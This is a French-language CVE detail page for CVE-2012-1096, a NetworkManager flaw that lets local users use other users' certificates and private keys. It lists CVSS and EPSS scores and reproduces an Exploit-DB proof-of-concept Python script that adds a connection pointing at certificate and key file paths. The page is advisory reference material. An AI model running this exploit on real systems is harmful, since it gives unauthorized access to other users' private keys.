CVE-2012-1096 : Détail

CVE-2012-1096

5.5
/
Moyen
Authorization problems
A07-Identif. and Authent. Fail
0.14%V4
Local
2020-03-10
15h36 +00:00
2020-03-10
15h36 +00:00
CVE.org
NVD
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Descriptions du CVE

NetworkManager 0.9 and earlier allows local users to use other users' certificates or private keys when making a connection via the file path when adding a new connection.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-295 Improper Certificate Validation
The product does not validate, or incorrectly validates, a certificate.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 4.9 AV:L/AC:L/Au:N/C:C/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 36887

Date de publication : 2012-02-28 23h00 +00:00
Auteur : Ludwig
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/52206/info GNOME NetworkManager is prone to a local arbitrary file-access vulnerability. Local attackers can exploit this issue to read arbitrary files. This may lead to further attacks. NetworkManager 0.6, 0.7, and 0.9 are vulnerable; other versions may also be affected. #!/usr/bin/python # # Copyright (C) 2011 SUSE LINUX Products GmbH # # Author: Ludwig Nussel # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # version 2 as published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import gobject import dbus import dbus.service import dbus.mainloop.glib import os import subprocess def N_(x): return x _debug_level = 0 def debug(level, msg): if (level <= _debug_level): print '<%d>'%level, msg class NetworkManager(gobject.GObject): NM_STATE = { 0: 'UNKNOWN', 10: 'UNMANAGED', 20: 'UNAVAILABLE', 30: 'DISCONNECTED', 40: 'PREPARE', 50: 'CONFIG', 60: 'NEED_AUTH', 70: 'IP_CONFIG', 80: 'IP_CHECK', 90: 'SECONDARIES', 100: 'ACTIVATED', 110: 'DEACTIVATING', 120: 'FAILED', } NM_DEVICE_TYPE = { 0: 'NM_DEVICE_TYPE_UNKNOWN', # The device type is unknown. 1: 'NM_DEVICE_TYPE_ETHERNET', # The device is wired Ethernet device. 2: 'NM_DEVICE_TYPE_WIFI', # The device is an 802.11 WiFi device. 3: 'NM_DEVICE_TYPE_UNUSED1', # Unused 4: 'NM_DEVICE_TYPE_UNUSED2', # Unused 5: 'NM_DEVICE_TYPE_BT', # The device is Bluetooth device that provides PAN or DUN capabilities. 6: 'NM_DEVICE_TYPE_OLPC_MESH', # The device is an OLPC mesh networking device. 7: 'NM_DEVICE_TYPE_WIMAX', # The device is an 802.16e Mobile WiMAX device. 8: 'NM_DEVICE_TYPE_MODEM', # The device is a modem supporting one or more of analog telephone, CDMA/EVDO, GSM/UMTS/HSPA, or LTE standards to access a cellular or wireline data network. } NM_802_11_AP_SEC = { 'NM_802_11_AP_SEC_NONE': 0x0, # Null flag. 'NM_802_11_AP_SEC_PAIR_WEP40': 0x1, # Access point supports pairwise 40-bit WEP encryption. 'NM_802_11_AP_SEC_PAIR_WEP104': 0x2, # Access point supports pairwise 104-bit WEP encryption. 'NM_802_11_AP_SEC_PAIR_TKIP': 0x4, # Access point supports pairwise TKIP encryption. 'NM_802_11_AP_SEC_PAIR_CCMP': 0x8, # Access point supports pairwise CCMP encryption. 'NM_802_11_AP_SEC_GROUP_WEP40': 0x10, # Access point supports a group 40-bit WEP cipher. 'NM_802_11_AP_SEC_GROUP_WEP104': 0x20, # Access point supports a group 104-bit WEP cipher. 'NM_802_11_AP_SEC_GROUP_TKIP': 0x40, # Access point supports a group TKIP cipher. 'NM_802_11_AP_SEC_GROUP_CCMP': 0x80, # Access point supports a group CCMP cipher. 'NM_802_11_AP_SEC_KEY_MGMT_PSK': 0x100, # Access point supports PSK key management. 'NM_802_11_AP_SEC_KEY_MGMT_802_1X': 0x200, # Access point supports 802.1x key management. } def __init__(self): self.bus = dbus.SystemBus() self.proxy = None self.manager = None self.running = False self.devices = {} self.devices_by_name = {} self.aps = {} self.ap_by_addr = {} self.ap_by_ssid = {} self.check_status() self.bus.add_signal_receiver( lambda name, old, new: self.nameowner_changed_handler(name, old, new), bus_name='org.freedesktop.DBus', dbus_interface='org.freedesktop.DBus', signal_name='NameOwnerChanged') self.bus.add_signal_receiver( lambda device, **kwargs: self.device_add_rm(device, True, **kwargs), bus_name='org.freedesktop.NetworkManager', dbus_interface = 'org.freedesktop.NetworkManager', signal_name = 'DeviceAdded', sender_keyword = 'sender') self.bus.add_signal_receiver( lambda device, **kwargs: self.device_add_rm(device, False, **kwargs), bus_name='org.freedesktop.NetworkManager', dbus_interface = 'org.freedesktop.NetworkManager', signal_name = 'DeviceRemoved', sender_keyword = 'sender') def cleanup(self): self.switcher = None def devstate2name(self, state): if state in self.NM_STATE: return self.NM_STATE[state] return "UNKNOWN:%s"%state def devtype2name(self, type): if type in self.NM_DEVICE_TYPE: return self.NM_DEVICE_TYPE[type] return "UNKNOWN:%s"%type def secflags2str(self, flags): a = [] for key in self.NM_802_11_AP_SEC.keys(): if self.NM_802_11_AP_SEC[key] and flags&self.NM_802_11_AP_SEC[key]: a.append(key[len('NM_802_11_AP_SEC_'):]) return ' '.join(a) def nameowner_changed_handler(self, name, old, new): if name != 'org.freedesktop.NetworkManager': return off = old and not new self.check_status(off) def device_add_rm(self, device, added, sender=None, **kwargs): if (added): dev = self.bus.get_object("org.freedesktop.NetworkManager", device) props = dbus.Interface(dev, "org.freedesktop.DBus.Properties") name = props.Get("org.freedesktop.NetworkManager.Device", "Interface") devtype = props.Get("org.freedesktop.NetworkManager.Device", "DeviceType") debug(0,"device %s, %s added"%(name, self.devtype2name(devtype))) self.devices[device] = name self.devices_by_name[name] = device if devtype == 2: wifi = dbus.Interface(dev, "org.freedesktop.NetworkManager.Device.Wireless") aps = wifi.GetAccessPoints() for path in aps: ap = self.bus.get_object("org.freedesktop.NetworkManager", path) props = dbus.Interface(ap, "org.freedesktop.DBus.Properties") ssid_raw = props.Get("org.freedesktop.NetworkManager.AccessPoint", "Ssid") addr = props.Get("org.freedesktop.NetworkManager.AccessPoint", "HwAddress") wpaflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "WpaFlags") rsnflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "RsnFlags") ssid = '' for b in ssid_raw: if b > 20 and b < 126: ssid += str(b) else: ssid += '0x%02x'%b self.aps[path] = { 'Ssid' : ssid_raw, '_ssid_readable' : ssid, 'HwAddress' : addr, 'WpaFlags' : wpaflags, 'RsnFlags' : rsnflags, } self.ap_by_addr[addr] = path if not ssid in self.ap_by_ssid: self.ap_by_ssid[ssid] = set({}) self.ap_by_ssid[ssid].add(path) for ssid in sorted(self.ap_by_ssid.keys()): print ssid for path in self.ap_by_ssid[ssid]: ap = self.aps[path] print ' ', ap['HwAddress'] if ap['WpaFlags']: print " WPA: ", self.secflags2str(ap['WpaFlags']) if ap['RsnFlags']: print " RSN: ", self.secflags2str(ap['RsnFlags']) else: if not device in self.devices: debug(0, "got remove signal for unknown device %s removed"%device) else: name = self.devices[device] del self.devices[device] del self.devices_by_name[name] debug(0,"device %s removed"%name) def _connect_nm(self): try: self.proxy = self.bus.get_object("org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager") self.manager = manager = dbus.Interface(self.proxy, "org.freedesktop.NetworkManager") running = True except dbus.DBusException, e: running = False print e return running def check_status(self, force_off=False): if (force_off): running = False else: running = self.running if (not self.manager): running = self._connect_nm() if (running): if (not self.running): devices = self.manager.GetDevices() for d in devices: self.device_add_rm(d, True) if (not running): self.proxy = self.manager = None self.running = running debug(1,"NM Running: %s"%self.running) def addcon(self, params, device, ap = '/'): if device[0] != '/': if not device in self.devices_by_name: print "Error: device not known" sys.exit(1) device = self.devices_by_name[device] if ap[0] != '/' and not 'ssid' in params['802-11-wireless']: params['802-11-wireless']['ssid'] = [dbus.Byte(ord(c)) for c in ap] if not ap in self.ap_by_ssid: print "Warning: ssid not known" ap = '/' else: ap = '/' self.manager.AddAndActivateConnection(params, device, ap) if __name__ == '__main__': from optparse import OptionParser parser = OptionParser(usage="%prog [options]") parser.add_option('--debug', dest="debug", metavar='N', action='store', type='int', default=0, help="debug level") (opts, args) = parser.parse_args() if opts.debug: _debug_level = opts.debug dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) mainloop = gobject.MainLoop() bus = dbus.SystemBus() nm = NetworkManager() if len(args) == 0: #mainloop.run() True elif args[0] == 'new': conn = { 'connection': { 'permissions': [ 'user:joesix:' ], 'autoconnect': False, 'type': '802-11-wireless', }, '802-11-wireless': { #'ssid': [ dbus.Byte(ord(c)) for c in "something" ], 'mode': 'infrastructure', 'security': '802-11-wireless-security', }, '802-1x': { 'eap': [ 'tls' ], # peap, ttls 'client-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cert.pem' ] + [ dbus.Byte(0) ], 'private-key': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/key.pem' ] + [ dbus.Byte(0) ], 'ca-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cacert.pem' ] + [ dbus.Byte(0) ], 'private-key-password': "12345", #'ca-cert': 'hash://server/sha256/5336d308fa263f9f07325baae58ac972876f419527a9bf67c5ede3e668d3a925', #'subject-match': '/CN=blah/emailAddress=foo@bar', #'phase2-auth': 'mschapv2', 'identity': 'test1', #'password': 'test1', }, '802-11-wireless-security': { 'key-mgmt': 'wpa-eap', 'auth-alg': 'open', }, } dev = args[1] ap = None if len(args) > 2: ap = args[2] nm.addcon(conn, dev, ap) # vim: sw=4 ts=8 noet

Products Mentioned

Configuraton 0

Gnome>>Networkmanager >> Version To (including) 0.9.0

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.